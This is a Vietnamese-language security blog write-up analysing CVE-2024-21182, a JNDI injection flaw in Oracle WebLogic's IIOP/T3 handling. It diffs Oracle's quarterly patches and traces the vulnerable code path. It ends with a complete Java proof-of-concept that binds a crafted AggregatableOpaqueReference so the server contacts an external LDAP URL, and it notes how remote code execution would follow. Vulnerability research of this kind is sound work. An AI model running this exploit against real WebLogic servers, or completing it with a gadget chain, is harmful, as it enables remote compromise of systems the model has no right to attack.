[CVE-2024-21182] Oracle WebLogic Server
![[CVE-2024-21182] Oracle WebLogic Server](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1753931508068%2F535e51f5-a30f-465e-8da8-93cf02326a21.jpeg&w=3840&q=75)
Trong năm 2024 vừa qua, oracle weblogic liên tục bị cve liên quan đến IIOP/T3 protocol. Vậy nên mình cũng chọn 1 CVE trong đó để học hỏi, CVE mình chọn là CVE-2024-21182. Sau khi tìm hiểu thì các cve này liên quan đến 1 loại lỗ hổng tên là JNDI injection(tiền thân của log4shell).
Lý do chọn thì tất nhiên rồi, cảm ơn anh K4it0 đã rủ rê cũng như cung cấp cho thằng em đầy đủ các bản vá. Vậy JNDI injection là gì??
JDNI injection
Đầu tiên, JNDI-Java Naming Directory Interface một interface cung cấp cho ta các API để tương tác với các Naming và Directory Service như LDAP, DNS, NIS, NDS, RMI và CORBA.
JNDI injection có thể dẫn rới các lỗ hổng tấn công liên quan đến RMI, LDAP. Log4shell cũng là 1 case study của JDNI injection.
Để tấn công JNDI injection cần phải để ý phiên bản JDK của target, với những phiên bản cao thì có những code exploit là vô dụng. Các lưu ý như sau:
JDK > 6u45, 7u21: Ở phiên bản này
java.rmi.server.useCodebaseOnlyđược đặt mặt định làtruenên tính năng load class từ xa của RMI bị vô hiệu, class chỉ được load khi nằm trong classpath hoặc được chi định bởijava.rmi.server.codebaseJDK > 6u141, 7u131, 8u121: Ở các phiên bản này
com.sun.jndi.rmi.object.trustURLCodebaseđược giới thiệu và đặt mặc địch là false, khi đó RMI hay CORBA sẽ không được phép load class động từ bất kỳ URL nào mà phải từ classpath. Tuy nhiên ta có thể bypass bằng cách sử dụng URL với giao thức LDAPJDK > 6u211, 7u201 và 8u191: Ở các phiên bản này option
com.sun.jndi.ldap.object.trustURLCodebaseđược thêm vào và đặt mặc định là false, nó sẽ disable khả năng load class động của LDAP
Để tìm hiểu kĩ hơn về loại lỗ hổng này, bạn có thể đọc thêm bài viết cực kì chi tiết của endy21.
Dựng môi trường
Oracle sẽ public 1 bản Weblogic chung, sau đó cung cấp các bản vá theo từng quý rơi vào các tháng 1,4,7,…. Do đó chúng ta cần:
Weblogic Oracle 14.1.1.0.0: Nếu bạn cài đặt weblogic trên Windows, nhớ đặt đường dẫn JAVA không có khoảng trắng.
Bản vá tháng 4(trước khi vá CVE-2024-21182) và bản vá tháng 7(vá lỗ hổng CVE-2024-21182
Setup Remote debug
[Bài viết này của oracle] đã làm rất tốt những gì cần làm, tuy nhiên mình sẽ để thêm lệnh powershell lấy hết file jar của weblogic nếu bạn cần.
mà$jarFiles = Get-ChildItem -Path "C:\Oracle\Middleware" -Recurse -Filter "*.jar"
$outputDir = "C:\Users\Admin\Desktop\Va thang 4"
$maxFilesPerFolder = 100
if (!(Test-Path $outputDir)) {
New-Item -ItemType Directory -Path $outputDir | Out-Null
}
$folderIndex = 1
$fileCount = 0
$currentFolder = Join-Path $outputDir ("batch_" + $folderIndex)
New-Item -ItemType Directory -Path $currentFolder -Force | Out-Null
foreach ($jarFile in $jarFiles) {
if ($fileCount -ge $maxFilesPerFolder) {
$folderIndex++
$fileCount = 0
$currentFolder = Join-Path $outputDir ("batch_" + $folderIndex)
New-Item -ItemType Directory -Path $currentFolder -Force | Out-Null
}
try {
Copy-Item -Path $jarFile.FullName -Destination $currentFolder -ErrorAction Stop
$fileCount++
} catch {
Write-Output "Skipping file: $($jarFile.FullName) - Reason: $($_.Exception.Message)"
}
}
Write-Output "Copied $($jarFiles.Count) files into $folderIndex folders."
Phân tích CVE
Để hiểu hơn về CVE-2024-21182, chúng ta sẽ đi qua 3 CVE là CVE-2023-21839, CVE-2024-20931 và CVE-2024-21006(3 cve cũng liên quan đến jndi injection). Mình sẽ tóm tắt lại ở phía dưới
CVE-2023-21839 và CVE-2024-20931
CVE-2023-21839 và CVE-2024-20931 đều sẽ đi qua nhánh else if (boundObject instanceof OpaqueReference) dòng 75 trong weblogic.jndi.internal.WLNamingManager#getObjectInstanc bằng ForeignOpaqueReference

Oracle đã đưa ra bản vá bằng cách kiểm tra signature và timestamp có khác với null hay không, nếu không sẽ đi qua 1 lớp kiểm tra xem các giá trị đó có hợp lệ hay không. Hiện tại thì mình thấy chỗ này kiểm tra không ổn lắm, tuy nhiên nó nhưng hơi loằng ngoằng, chưa liên quan đến CVE-2024-21182 nên mình sẽ tạm bỏ qua.

CVE-2024-21006
CVE-2024-21006 thay vì chọn đi theo các nhánh else if phía trên sẽ đi thẳng tới return thông qua MessageDestinationReference , đọc thêm tại CVE-2024-21006

Giờ hãy xem về cách vá của CVE-2024-21006.
Sau khi diff bản vá tháng 1 và tháng 4, mình và cộng sự ChatGPT đã tìm thấy 1 update nhỏ trong class EnvReference(đây là class mà class MessageDestinationReference kế thừa), là class EnvReference thêm phương thức isValidEnvReferenceSignature sử dụng cách kiểm tra tương tự CVE-2023-21839 và CVE-2024-20931


Luồng kiểm tra sẽ như sau:
BasicnamingNode sẽ kiểm tra xem object đầu vào có an toàn hay không thông qua JNDIUtils.isValidReferenceObject(obj, env); , nếu an toàn thì mới cho phép đến weblogic.jndi.internal.WLNamingManager#getObjectInstance .

JNDIUtils.isValidReferenceObject(obj, env); sẽ gọi đến phương thức isValidEnvReferenceObject(resolvedObj) để kiểm tra.

isValidEnvReferenceObject(resolvedObj) sẽ gọi checkIfValidReferenceSignature

checkIfValidReferenceSignature sẽ thông qua phương thức isValidEnvReferenceSignature (được thêm vào EnvReference ở bản vá tháng 4)

Và tất nhiên với 1 đống điều kiện false phương thức isValidEnvReferenceSignature sẽ trả về false

Từ đó ứng dụng sẽ đi qua nhánh throw

CVE-2024-21182
Có thể thấy có thể thấy các CVE IIOP/T3 trước nay đều đi qua weblogic.jndi.internal.WLNamingManager#getObjectInstance (wl mình đoán là weblogic, naming là naming trong từ jndi :"D). Tuy nhiên chưa hề thấy nhánh if được sử dụng để khai thác => có thể trong tương lai sẽ có lỗ hổng liên quan đến nhanh if của class này hay còn nói boundObject phải là 1 class triển khai interface ClassTypeOpaqueReference
Sau khi diff bản vá tháng 4 và tháng 7, mình đã nhờ cộng sự ChatGPT nhận dạng xem có cập nhật ở file jar nào liên quan đến giao tiếp jndi không thì nhận thấy bản vá tháng 7 chỉ có 2 cập nhật liên quan đến jndi là xóa log4j bản bị lỗ hổng log4shell, và thêm cập nhật ở class AggregatableOpaqueReference .

vừa hay AggregatableOpaqueReference triển khai interface ClassTypeOpaqueReference phù hợp với giả thuyết trước đó của mình.

Thử giao tiếp jndi thông với class AggregatableOpaqueReference nhận thấy khong còn bị vào nhánh throw exception trong JNDIUtils.isValidReferenceObject và tới được weblogic.jndi.internal.WLNamingManager#getObjectInstance



Xem xét 2 nhánh if else ở dòng 68 và 70 trong weblogic.jndi.internal.WLNamingManager#getObjectInstance.
Nhánh if có vẻ sẽ trả về tên object referent

Nhánh else sẽ trả về object referent, đây là value trong 1 cặp key value của serverIDToReferent

Sau đó weblogic.jndi.internal.WLNamingManager#getObjectInstance sẽ return luôn 1 trong 2 kết quả này tùy thuộc vào nhánh người dùng đi vào.
Ngoài ra ở cả bản vá tháng 4 và tháng 7 đều không động tới MessageDestinationReference, cũng như MessageDestinationObjectFactory => sẽ ra sao nếu ta khiến ứng dụng đi vào nhánh else dòng 70 với boundObject trả về là MessageDestinationReference?
Xem xét, file AggregatableOpaqueReference, nhận thấy chỉ có 2 cách để set giá trị cho serverIDToReferent: khởi tạo hoặc phương thức onbind

May mắn thay mỗi khi người dùng yêu cầu lookup 1 tài nguyên jndi từ weblogic, phương thức bindhere của BasicNamingNode sẽ được gọi

Sau đóonbind của BasicNamingNode sẽ gọi tới onbind của object bound(ở đây là AggregatableOpaqueReference)

\=> chúng ta chỉ cần tạo 1 object AggregatableOpaqueReference với thuộc tính referent là MessageDestinationReference .
POC CVE-2024-21182
Chỉ cần sửa lại POC của CVE-2024-21006 1 chút bằng cách cho MessageDestinationReference là thuộc tính referent của AggregatableOpaqueReference. Sau đó chúng ta lookup tới AggregatableOpaqueReference thay vì MessageDestinationReference
import weblogic.ejb.container.internal.AggregatableOpaqueReference;
import weblogic.j2ee.descriptor.InjectionTargetBean;
import weblogic.j2ee.descriptor.MessageDestinationRefBean;
import weblogic.jndi.internal.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.Random;
public class CVE_2024_21182 {
public static void main(String args[]) throws Exception {
String t3Url = "127.0.0.1:7001";
String ldapUrl = "ldap://uuvvejaswiebqewjmxyi3qirqvgitjwok.oast.fun/a";
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL,"iiop://"+t3Url );
InitialContext c=new InitialContext(env);;
weblogic.application.naming.MessageDestinationReference messageDestinationReference=new weblogic.application.naming.MessageDestinationReference(null, new MessageDestinationRefBean() {
@Override
public String[] getDescriptions() {
return new String[0];
}
@Override
public void addDescription(String s) {
}
@Override
public void removeDescription(String s) {
}
@Override
public void setDescriptions(String[] strings) {
}
@Override
public String getMessageDestinationRefName() {
return null;
}
@Override
public void setMessageDestinationRefName(String s) {
}
@Override
public String getMessageDestinationType() {
return "weblogic.application.naming.MessageDestinationReference";
}
@Override
public void setMessageDestinationType(String s) {
}
@Override
public String getMessageDestinationUsage() {
return null;
}
@Override
public void setMessageDestinationUsage(String s) {
}
@Override
public String getMessageDestinationLink() {
return null;
}
@Override
public void setMessageDestinationLink(String s) {
}
@Override
public String getMappedName() {
return null;
}
@Override
public void setMappedName(String s) {
}
@Override
public InjectionTargetBean[] getInjectionTargets() {
return new InjectionTargetBean[0];
}
@Override
public InjectionTargetBean createInjectionTarget() {
return null;
}
@Override
public void destroyInjectionTarget(InjectionTargetBean injectionTargetBean) {
}
public String getLookupName() {
return null;
}
public void setLookupName(String s) {
}
@Override
public String getId() {
return null;
}
@Override
public void setId(String s) {
}
}, String.format("%s", ldapUrl), null, null);
AggregatableOpaqueReference f=new AggregatableOpaqueReference("s", "random", "random");
Field ref = AggregatableOpaqueReference.class.getDeclaredField("referent");
ref.setAccessible(true);
ref.set(f,messageDestinationReference);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
c.bind(bindName,f);
c.lookup(bindName);
}
}
Poc hoạt động thành công. Tuy nhiên mới dừng ở mức bắt weblogic yêu cầu tới ldap của attacker. Để RCE, chúng ta cần có thêm gadget chain và sẽ host cái object độc hại đó vào ldapurl thay cho a






![[ZVE-2025-3566] Stored XSS to RCE in Manage Engine OpManager](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1753930975579%2Fb835c2ae-2b5b-425e-9210-09bb506d46c1.png&w=3840&q=75)
